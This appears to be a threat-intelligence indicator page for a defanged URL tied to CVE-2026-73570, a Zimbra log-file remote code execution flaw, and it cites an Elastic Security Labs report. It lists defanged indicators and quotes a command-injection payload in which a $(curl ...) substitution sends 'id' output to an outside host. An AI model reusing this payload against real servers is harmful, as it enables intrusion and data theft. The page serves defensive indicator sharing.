hxxp://10.0.2[.]16:8080/capture/abc123/$URL

Reported by 1 independent source · first reported 23 Oct 2026 by Elastic Security Labs · last reported 23 Oct 2026

Last reported 2 days ago

What the reports say

1 report, newest first · the exact sentence from each

“[*] Payload: x: Service status change: localhost $(curl "hxxp://10.0.2[.]16:8080/capture/abc123/$( id | tr -d ' ' )") changed from stopped to running”

Elastic Security LabsVendor23 Oct 2026
How CVE-2026-73570 turns a Zimbra log file into remote code execution

named in the same reports

Copy these 3 indicators · defanged

3 indicators, defanged, one per line

swatchrc[.]in
hxxp://10.0.2[.]16:8080/capture/abc123/
hxxp://10.0.2[.]16:8080/capture/

Also named with it: CVE-2026-73570

Thanks — we review every report.

Report a wrong value